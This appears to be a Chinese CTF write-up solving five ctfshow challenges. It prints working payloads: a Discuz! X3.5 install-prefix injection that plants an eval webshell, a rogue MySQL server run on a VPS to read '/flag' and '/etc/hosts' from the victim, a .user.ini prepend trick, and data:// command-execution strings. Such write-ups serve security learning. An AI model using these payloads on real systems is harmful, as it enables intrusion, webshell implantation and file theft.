喜欢这次baby赛,适合我这种萌萌^^。

0x00 baby_captcha

[无脑] 这里是超链接 指向弱口令字典。数字验证码多刷新几下找个勉强可以听懂的,然后用BP爆破。

0x01 ctfshowcms

首先我一键审计了一下:

从源码可以看到index.php的内容:

<?php

define("ROOT_PATH",__DIR__);

error_reporting(0);

$want = addslashes($_GET['feng']);
$want = $want==""?"index":$want;

include('files/'.$want.".php");

$want未对输入的内容做严格过滤,可以使用“../”进行目录穿越。

继续来看一哈install/index.php,完整源码如下:

<?php
header('Content-Type:text/html;charset=utf-8');
if(file_exists("installLock.txt")){
    echo "你已经安装了ctfshowcms,请勿重复安装。";
    exit;
}

echo "欢迎安装ctfshowcms~"."<br>";


$user=$_POST['user'];
$password=md5($_POST['password']);
$dbhost=$_POST['dbhost'];
$dbuser=$_POST['dbuser'];
$dbpwd=$_POST['dbpwd'];
$dbname=$_POST['dbname'];
if($user==""){
    echo "CMS管理员用户名不能为空!";
    exit();
}
if($password==""){
    echo "CMS管理员密码不能为空!";
    exit();
}
if($dbhost==""){
    echo "数据库地址不能为空!";
    exit();
}
if($dbuser==""){
    echo "数据库用户名不能为空!";
    exit();
}
if($dbpwd==""){
    echo "数据库密码不能为空!";
    exit();
}
if($dbname==""){
    echo "数据库名不能为空!";
    exit();
}
// 连接数据库
$db = mysql_connect ( $dbhost, $dbuser, $dbpwd )  or die("数据库连接失败");

// 选择使用哪个数据库
$a = mysql_select_db ( $dbname, $db );
// 数据库编码方式
$b = mysql_query ( 'SET NAMES ' . 'utf-8', $db );

if(file_exists("ctfshow.sql")){
    echo "正在写入数据库!";
}else{
    die("sql文件不存在");
}

$content = "<?php
$DB_HOST='".$dbhost."';
$DB_USER='".$dbuser."';
$DB_PWD='".$dbpwd."';
$DB_NAME='".$dbname."';
?>
";


file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";

$of = fopen(ROOT_PATH.'/install/installLock.txt','w');
if($of){
    fwrite($of,"ctfshowcms");
}
echo "安装成功!";

开头对安装锁文件进行了检测,但只是检查了当前目录是否有installLock.txt:

if(file_exists("installLock.txt")){
    echo "你已经安装了ctfshowcms,请勿重复安装。";
    exit;
}

结合主页的目录穿越漏洞,可导致系统被二次安装。

在install/index.php中还存在可控的写入处:

$content = "<?php
$DB_HOST='".$dbhost."';
$DB_USER='".$dbuser."';
$DB_PWD='".$dbpwd."';
$DB_NAME='".$dbname."';
?>
";


file_put_contents(ROOT_PATH."/data/settings.php",$content);
echo "数据库设置写入成功!~"."<br>";

也未对输入的地方进行过滤,感觉可构造一个非预期逃逸出来,就有点绕就是了。这里有些变量,比如$user$password都不影响厚,我就随便填了。但是有个坑如果按照默认的settings.php中的数据库登录口令去填会回显数据库连接失败,要换成root/root,结果,呜呜,还是有坑。

这里是绕不过去了,查阅资料得知mysql存在服务端恶意读取客户端任意文件漏洞。因为数据库链接地址、用户名、密码均可控,所以可以利用这个漏洞读取想读取的文件。

在VPS上需要安装mysql:

sudo apt-get install mysql-server 
sudo apt-get install mysql-client 
sudo apt-get install libmysqlclient-dev

查看当前数据库的登录口令:

sudo cat /etc/mysql/debian.cnf

脚本地址:https://github.com/MorouU/rogue_mysql_server/blob/main/rogue_mysql_server.py

修改一下结尾行,读取flag:

if __name__ == '__main__':

    for name, content in rouge_mysql_sever_read_file(fileName=["/flag", "/etc/hosts"], port=3307,showInfo=True).items():
        print(name + ":\n" + content.decode())

运行该脚本,然后在题目中填入VPS的数据库信息,成功读取到了flag。

0x02 应该不难

开局Discuz! X3.5的安装向导,上网可以查到Discuz! X3.5的漏洞资料。

安装时修改前缀为x');phpinfo();@eval($_POST[shaw]);('

安装完毕后,访问config/config_ucenter.php,成功写入shell:

0x03 baby_php

<?php
error_reporting(0);
class fileUtil{
    private $name;
    private $content;
    public function __construct($name,$content=''){
        $this->name = $name;
        $this->content = $content;
        ini_set('open_basedir', '/var/www/html');
    }
    public function file_upload(){
        if($this->waf($this->name) && $this->waf($this->content)){
            return file_put_contents($this->name, $this->content);
        }else{
            return 0;
        }
    }
    private function waf($input){
        return !preg_match('/php/i', $input);
    }
    public function file_download(){
        if(file_exists($this->name)){
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.$this->name.'"');
            header('Content-Transfer-Encoding: binary');
            echo file_get_contents($this->name);
        }else{
            return False;
        }
    }
    public function __destruct(){
    }
}
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
    die('Permission denied');
}
switch ($action) {
    case 'upload':
        $name = $_POST['name'];
        $content = $_POST['content'];
        $ft = new fileUtil($name,$content);
        if($ft->file_upload()){
            echo $name.' upload success!';
        }
        break;
    case 'download':
        $name = $_POST['name'];
        $ft = new fileUtil($name,$content);
        if($ft->file_download()===False){
            echo $name.' download failed';
        }
        break;
    default:
        echo 'baby come on';
        break;
}

如果绕过$_GET['a']的限制,使其值等于upload的话,即可上传文件,但文件名和文件内容不能存在”php“这三个字符。输入任何字符是绕过不了$_GET['a']的限制的,在本地做个测试:

<?php 
$action = $_GET['a']?$_GET['a']:highlight_file(__FILE__);
if($action==='upload'){
    die('Permission denied');
}
switch ($action) {
    case 'upload':
        echo 'upload success!';
        break;
    case 'download':
        echo ' download failed';
        break;
    default:
        echo 'baby come on';
        break;
}
?>

输出的是upload success!,因为switch的工作原理是将表达式的值与结构中每个 case 的值进行比较。如果存在匹配,则执行与 case 关联的代码。var_dump(highlight_file(FILE));的结果为真(True),’upload’这个字符串和True比较时结果为真,所以不需要输入任何内容就可以到达想要的地方^^。

因为不允许输入php,可以使用.user.ini绕过。首先上传一个test.gif。

name=test.gif&content=`ls /`;?>

然后传入.user.ini,内容为auto_prepend_file=test.gif

name=.user.ini&content=auto_prepend_file=test.gif

可以看到flag文件的文件名为flag_baby_here_you_are,同操作查看即可。

0x04 完美的缺点

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-31 21:42:40
# @Last Modified by:   h1xa
# @Last Modified time: 2021-06-01 00:08:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html/');

$file_name = substr($_GET['file_name'], 0,16);
$file_content=substr($_GET['file_content'], 0,32);

file_put_contents('/c/t/f/s/h/o/w/'.$file_name, $file_content);

if(file_get_contents('php://input')==='ctfshow'){
    include($file_name);
}

得到flag的关键:POST一个ctfshow,就可以文件包含了:

if(file_get_contents('php://input')==='ctfshow'){
    include($file_name);
}

$file_name没有内容限制,只有长度限制,可以利用data伪协议达到命令执行的效果。

file_name=data:,<?=`ls`;?>

得到flag文件的文件名为flag.php。因为长度限制在16,所以可以用字数最少的nl去替代,再用通配符查看当前目录下的所有文件。

file_name=data:,<?=`nl+*`;